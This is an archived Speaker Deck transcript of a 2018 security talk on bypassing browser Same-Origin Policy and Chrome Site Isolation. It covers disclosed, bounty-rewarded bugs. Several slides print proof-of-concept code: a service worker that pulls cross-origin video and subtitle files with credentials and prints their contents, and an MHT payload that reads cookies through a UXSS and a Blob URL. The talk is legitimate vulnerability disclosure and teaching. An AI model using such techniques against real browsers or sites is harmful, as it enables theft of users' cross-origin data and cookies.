Logically Bypassing Browser Security Boundaries

Logically Bypassing Browser Security Boundaries - Jun Kokatsu, Speaker Deck.

- Published: 2018-10-28
- Original: <https://speakerdeck.com/shhnjk/logically-bypassing-browser-security-boundaries>
- Preserved from: https://speakerdeck.com/shhnjk/logically-bypassing-browser-security-boundaries (live) on 2026-08-10
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Logically Bypassing Browser Security Boundaries - Speaker Deck

Logically Bypassing Browser Security Boundaries

This talk was presented at bugSWAT. Video of the talk is at https://youtu.be/B5ZyYTKp4gc

Talk features: Password manager issue with iframe/CSP sandbox https://crbug.com/825258, https://bugzilla.mozilla.org/show_bug.cgi?id=1426767 Stealing audio data with HTTP redirect CVE-2018-6161, CVE-2018-4278 Multiple SOP bypasses with Service Worker CVE-2018-6093, CVE-2018-6099, CVE-2018-6159, CVE-2018-6164, CVE-2018-18352 SOP bypasses with HLS CVE-2018-16072, CVE-2018-4345, CVE-2018-4345 Site Isolation bypass CVE-2018-18345

[image: Avatar for Jun Kokatsu]

Jun Kokatsu

October 28, 2018

More Decks by Jun Kokatsu

See All by Jun Kokatsu

Operating Operator

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

1

1.4k

Piloting Edge Copilot

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

1

1.4k

Same-Origin Cross-Context Scripting

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

0

1.1k

The world of Site Isolation and compromised renderer

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

1

3.1k

Site Isolation

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

5

2.1k

[[image: Avatar for Jun Kokatsu] shhnjk](https://speakerdeck.com/shhnjk)

8

4.1k

Other Decks in Research

See All in Research

[

[Fishers] DIVER OSINT CTF 2026 AI OSINT CTF

](https://speakerdeck.com/analokmaus/fishers-diver-osint-ctf-2026-te-hua-aiezientohanesudetiao-zhan-suruosint-ctf)

[[image: Avatar for Hiroshi Y (RabotniKuma)] analokmaus](https://speakerdeck.com/analokmaus)

0

450

2025

[[image: Avatar for] izumiyama_lab](https://speakerdeck.com/izumiyama_lab)

1

160

ver1.0

[[image: Avatar for microbase] microbaseinc](https://speakerdeck.com/microbaseinc)

0

170

IA for theory

[[image: Avatar for Gabriel Peyré] gpeyre](https://speakerdeck.com/gpeyre)

1

330

National high-resolution cropland classification of Japan with agricultural census information and multi-temporal multi-modality datasets

[[image: Avatar for SatAI.challenge].png) satai](https://speakerdeck.com/satai)

3

410

Cross-Media Information Spaces and Architectures

[[image: Avatar for Beat Signer] signer](https://speakerdeck.com/signer)

PRO

0

330

AGI4OPT: Translating Human Intent into Mathematical Optimization

[[image: Avatar for MIKIO KUBO] mickey_kubo](https://speakerdeck.com/mickey_kubo)

0

170

NLP colloquium: AI Safety Survey

[[image: Avatar for Masahiro Kaneko] kanekomasahiro]
(https://speakerdeck.com/kanekomasahiro)

0

910

[[image: Avatar for Ryuichi Maruyama] rmaruy](https://speakerdeck.com/rmaruy)

0

110

Geometric calculations on probability manifolds from reciprocal relations in Master equations

[[image: Avatar for Wuchen Li] lwc2017](https://speakerdeck.com/lwc2017)

0

110

Cross-Media Human-Information Interaction

[[image: Avatar for Beat Signer] signer](https://speakerdeck.com/signer)

PRO

0

170

2026

[[image: Avatar for Takashi Ozeki] ozekinote](https://speakerdeck.com/ozekinote)

0

140

Featured

See All Featured

How to build an LLM SEO readiness audit: a practical framework

[[image: Avatar for Nick Samuel] nmsamuel](https://speakerdeck.com/nmsamuel)

1

840

How to Build an AI Search Optimization Roadmap - Criteria and Steps to Take #SEOIRL

[[image: Avatar for Aleyda Solis] aleyda](https://speakerdeck.com/aleyda)

1

2.1k

AI in Enterprises - Java and Open Source to the Rescue

[[image: Avatar for ivargrimstad] ivargrimstad](https://speakerdeck.com/ivargrimstad)

0

1.4k

Become a Pro

[[image: Avatar for Speaker Deck] speakerdeck](https://speakerdeck.com/speakerdeck)

PRO

31

6.2k

Winning Ecommerce Organic Search in an AI Era - #searchnstuff2025

[[image: Avatar for Aleyda Solis] aleyda](https://speakerdeck.com/aleyda)

1

2.1k

Raft: Consensus for Rubyists

[[image: Avatar for Patrick Van Stee] vanstee](https://speakerdeck.com/vanstee)

141

7.6k

Claude Code / Claude Code Everywhere

[[image: Avatar for nwiizo] nwiizo](https://speakerdeck.com/nwiizo)

66

57k

Claude Code

[[image: Avatar for schroneko] schroneko](https://speakerdeck.com/schroneko)

67

230k

Ethics towards AI in product and experience design

[[image: Avatar for Skipper Chong Warson] skipperchong](https://speakerdeck.com/skipperchong)

2

340

SQL / pgcon21j-tutorial

[[image: Avatar for soudai sone] soudai](https://speakerdeck.com/soudai)

PRO

201

75k

We Are The Robots

[[image: Avatar for Honza Javorek] honzajavorek](https://speakerdeck.com/honzajavorek)

0

290

Facilitating Awesome Meetings

[[image: Avatar for Lara Hogan] lara](https://speakerdeck.com/lara)

57

7.1k

Transcript

-

Logically Bypassing Browser Security Boundaries

-

> self.toString() < “Jun Kokatsu (@shhnjk)” < “Browser Vulnerability Research

Team at Microsoft” < “Chrome VRP participant” < “Japanese Manga addict”

-

> self.toString() < “Jun Kokatsu (@shhnjk)” < “Browser Vulnerability Research

Team at Microsoft” < “Chrome VRP participant” < “Japanese Manga addict”

-

Agenda 1. What is Same-Origin Policy? 2. Simple concept of

SOP bypass 3. Apply concept to find bugs 4. What is Site Isolation? 5. Site Isolation bypass 6. Wrap up

-

Same-Origin Policy Scheme + Host + Port = Origin https://www.example.com:443

-

Scope of SOP • Evil.com shouldn’t be able to access

resources loaded from Example.com • Same-Origin Policy is applied everywhere in a webpage

-

Simple concept of SOP bypass • The core concept of

SOP is to compare given URLs • Does URL always reflect the right origin? • Is there any way to confuse browser?

-

1. iframe/CSP sandbox iframe/CSP sandbox is a way to treat

specific contents as being from a unique origin <iframe src=“https://www.example.com/untrusted.html” sandbox=“allow-scripts”></iframe> OR Content-Security-Policy: sandbox allow-scripts; location.href // “https://www.example.com/untrusted.html” self.origin // “null”

-

Use case of CSP sandbox https://www.Dropbox.com/enterprise • Dropbox use s CMS

in “/enterprise” • CSP sandbox mitigates exploitability of XSS in third-party CMS contents Devdatta Akhawe: How I learnt to play in the (CSP) Sandbox https://youtu.be/fbhW37JZtSA

-

Stealing password from sandbox • Every browser has a built-in

password manager • Most of browsers only checked the origin based on URL Resulted in auto-filling a password saved in main content to sandboxed content. Affected: iOS only

-

2. Time-of-check Time-of-use • Web page can load sub-resources from

other site • We need a Magic to swap a sub-resource after security checks

-

Magic1: HTTP Redirect Status: 302 Location: https://example.com/secret.jpg

-

Stealing cross-origin audio data Web Audio API allows access to

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource

-

Stealing cross-origin audio data Web Audio API allows access to

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource • Webkit didn’t have a security check of audio data access

-

Stealing cross-origin audio data Web Audio API allows access to

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource • Webkit didn’t have a security check of audio data access Resulted in leaking audio data of cross-origin audio/video Affected: $2000

-

Magic2: Service Worker • Service Worker is a script that

gets registered and runs in the background • It has an ability to intercept requests within its scope and respond to it <script>
navigator.serviceWorker.register(“https://www.example.com/Service_Worker.js”); // Scope:

https://www.example.com/ </script> // https://www.example.com/Service_Worker.js if(event.request.url == “https://www.example.com/”){ event.respondWith(fetch(“https://www.example.com/landing_page.html”)); }

-

Magic2: Service Worker Service worker can respond with cross-origin resource

in two cases 1. If a cross-origin resource allows access with CORS 2. If the request’s destination supports “no-cors” request // https://evil.com/Service_Worker.js event.respondWith(fetch(“https://example.com/”)); // Access-Control-Allow-Origin: * // https://evil.com/Service_Worker.js event.respondWith(fetch(“https://example.com/”, {mode: “no-cors”}));

-

None

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass)

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass) • Audio and video through captureStream method

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass) • Audio and video through captureStream method • Content of WebVTT file

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass) • Audio and video through captureStream method • Content of WebVTT file • Content of CSS file

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass) • Audio and video through captureStream method • Content of WebVTT file • Content of CSS file • Response size of arbitrary resource

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass) • Audio and video through captureStream method • Content of WebVTT file • Content of CSS file • Response size of arbitrary resource Affected: $8000

-

<video id="leftVideo" style="visibility:hidden" autoplay controls muted><source id="src" type="video/mp4"></video> <video id="result"

controls autoplay><track src="/vtt" kind="subtitles" srclang="en" label="English" id="entrack" /> </video> <script> navigator.serviceWorker.register('/video_poc.js').then(() => { setTimeout(() => {document.getElementById('leftVideo').src="/video";}, 500); });}); var leftVideo = document.getElementById('leftVideo'); var stream; var mediaRecorder; chunks = []; function maybeCreateStream() { if (stream) { return; } stream = leftVideo.captureStream(); mediaRecorder = new MediaRecorder(stream); mediaRecorder.start(); mediaRecorder.ondataavailable = e => { chunks.push(e.data); function blobToDataURL(callback) { var reader = new FileReader(); reader.onload = e => {callback(e.target.result);} reader.readAsDataURL(chunks[0]); } blobToDataURL(dataurl => { document.getElementById('result').src = dataurl; }); }; } leftVideo.oncanplay = maybeCreateStream; if (leftVideo.readyState >= 3) { maybeCreateStream(); } </script>

-

// video_poc.js => { if(e.request.url.endsWith("video")){ e.respondWith(fetch ("https://storage.cloud.google.com/shhnjk/roll%20safe.mp4",{mode: "no-cors",

credentials: "include"})); }else if(e.request.url.endsWith("vtt")){ e.respondWith(fetch("https://storage.cloud.google.com/shhnjk/secret.vtt",{mode: "no-cors", credentials: "include"})); } } // WebVTT stealing part function go(){ var myTrack = document.getElementById("entrack").track; var myCues = myTrack.cues; for (var i = 0; i < myCues.length; i++) { document.body.innerHTML += "VTT content: "+myCues[i].getCueAsHTML().textContent + "
"; } }

-

Magic3: Weird file format (HLS) HTTP Live Streaming is a

playlist-based video file made by Apple

-

Magic3: Weird file format (HLS) HTTP Live Streaming is a

playlist-based video file made by Apple main.m3u8 video.m3u8 Actual video file audio.m3u8 Actual audio file <video controls> <source src="/main.m3u8"> </video>

-

Magic3: Weird file format (HLS)

-

Stealing audio and video again • Chrome uses Android's media

player for HLS and leaked video

-

Stealing audio and video again • Chrome uses Android's media

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio

-

Stealing audio and video again • Chrome uses Android's media

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio • Webkit has native HLS implementation, yet leaked video.

-

Stealing audio and video again • Chrome uses Android's media

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio • Webkit has native HLS implementation, yet leaked video. Affected: $10000

-

What is Site Isolation? Site Isolation is a security feature

in Chrome which mitigates Spectre, UXSS, etc, by strictly separating renderer process per Site Scheme + eTLD+1 = "Site" in Site Isolation https://www.example.com:443 https://www.chromium.org/developers/design-documents/site-isolation

-

UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 https://github.com/Bo0oM/CVE-2017-5124 > document.domain

-

UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 https://github.com/Bo0oM/CVE-2017-5124 > document.domain < "google.com"

-

UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 https://github.com/Bo0oM/CVE-2017-5124 > document.domain < “google.com” > document.cookie

-

UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 https://github.com/Bo0oM/CVE-2017-5124 > document.domain < “google.com” > document.cookie

-

Pinging a friend Me: Hey Masato, this is fun! We

can’t get cookie with UXSS because of Site Isolation! 5 mins later…

-

Pinging a friend Me: Hey Masato, this is fun! We

can’t get cookie with UXSS because of Site Isolation! 5 mins later… Masato: We can. Just need to create Blob URL and Blob URL can access it var text = `<iframe src=https://www.google.com/robots.txt></iframe>` ; var blob = new Blob([text], {type : “text/html”}); var url = URL.createObjectURL(blob); location.href = url;

-

How should we make a PoC? CVE-2017-5124 was patched. We

are left with 2 options. 1. Find new UXSS 2. Simulate renderer process compromise and replicate the same bug Finding UXSS isn’t easy. And… https://www.google.com/about/appsecurity/chrome-rewards/#special

-

Option 3? Me: Masato, you should just report the bug

and let Chrome folks decide if the same bug still exists.

-

Option 3? Me: Masato, you should just report the bug

and let Chrome folks decide if the same bug still exists. Masato: I feel bad about reporting a bug without knowing anything about Site Isolation… Me:

-

Option 4?

-

Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site UXSS after Site Isolation

-

Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site UXSS after Site Isolation

-

Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site UXSS after Site Isolation

-

Understanding CVE-2017-5124 MIME-Version: 1.0 Content-Type: multipart/related; type="text/html";boundary="----MultipartBoundary--" ------MultipartBoundary-- Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE catalog [<!ATTLIST xsl:stylesheet id ID #REQUIRED>]> <xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <html><iframe style="display:none" src="https://google.com"></iframe></html> </xsl:template> </xsl:stylesheet> ------MultipartBoundary-- Content-Type: text/html Content-Location: https://www.google.com <script>alert(document.cookie)</script> ------MultipartBoundary---- Browser process Renderer process 1 https://evil.com <iframe> https://www.google.com Process for “https://evil.com” Cookie for google.com please! Your process is for evil.com. Die! PoC.mht

-

Understanding SI bypass Cookie for google.com please! MIME-Version: 1.0 Content-Type:

multipart/related; type="text/html";boundary="----MultipartBoundary--" ------MultipartBoundary-- Content-Type: application/xml; <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE catalog [<!ATTLIST xsl:stylesheet id ID #REQUIRED>]> <xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <html><iframe style="display:none" src="https://google.com"></iframe></html> </xsl:template> </xsl:stylesheet> ------MultipartBoundary-- Content-Type: text/html Content-Location: https://www.google.com <script> var blob = new Blob([<iframe src=https://www.google.com/robots.txt></iframe>], {type : “text/html”}); location.href = URL.createObjectURL(blob); </script> ------MultipartBoundary---- Browser process Renderer process 1 https://evil.com <iframe> Process for “https://evil.com” Blob URL for google.com please! No problem https://www.google.com

-

Understanding SI bypass Cookie for google.com please! MIME-Version: 1.0 Content-Type:

multipart/related; type="text/html";boundary="----MultipartBoundary--" ------MultipartBoundary-- Content-Type: application/xml; <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE catalog [<!ATTLIST xsl:stylesheet id ID #REQUIRED>]> <xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <html><iframe style="display:none" src="https://google.com"></iframe></html> </xsl:template> </xsl:stylesheet> ------MultipartBoundary-- Content-Type: text/html Content-Location: https://www.google.com <script> var blob = new Blob([`<iframe src=https://www.google.com/robots.txt></iframe>`], {type : “text/html”}); location.href = URL.createObjectURL(blob); </script> ------MultipartBoundary---- Browser process Renderer process 2 blob:https://www.google.com <iframe> Process for “https://google.com” Cookie for google.com please! No problem https://www.google.com

-

But how? 1. Blob URL is created inside renderer process

-

But how? 1. Blob URL is created inside renderer process

1. Browser process missed to check “Site” for process when verifying Blob URL created by renderer process

-

But how? 1. Blob URL is created inside renderer process

1. Browser process missed to check “Site” for process when verifying Blob URL created by renderer process $8000

-

But how? 1. Blob URL is created inside renderer process

1. Browser process missed to check “Site” for process when verifying Blob URL created by renderer process Live Demo! $8000

-

What Site Isolation protects? As of Chrome 70, Site Isolation

protect against: 1. Spectre 2. UXSS (or maybe not?) But it doesn’t fully protect against renderer process compromise. Yet, it has some protections (e.g. UXSS, cookie access).

-

Wrap up 1. SOP bypass isn’t only about DOM access.

Check sub-resource access too. 2. Site Isolation is an interesting and important protection. You should poke around.

-

Acknowledgements • SW origin confusion technique crbug.com/598077 • @i_bo0om for

the UXSS in Chrome 61 (CVE-2017-5124) • @kinugawamasato, finder of Site Isolation bypass • @jaffathecake, jakearchibald.com/2018/i-discovered-a-browser-bug/ • Thanks Chrome Security team, Mozilla Security team, and Apple Product Security team! • Thanks Google VRP!!

-

Questions? Let me Bing it for you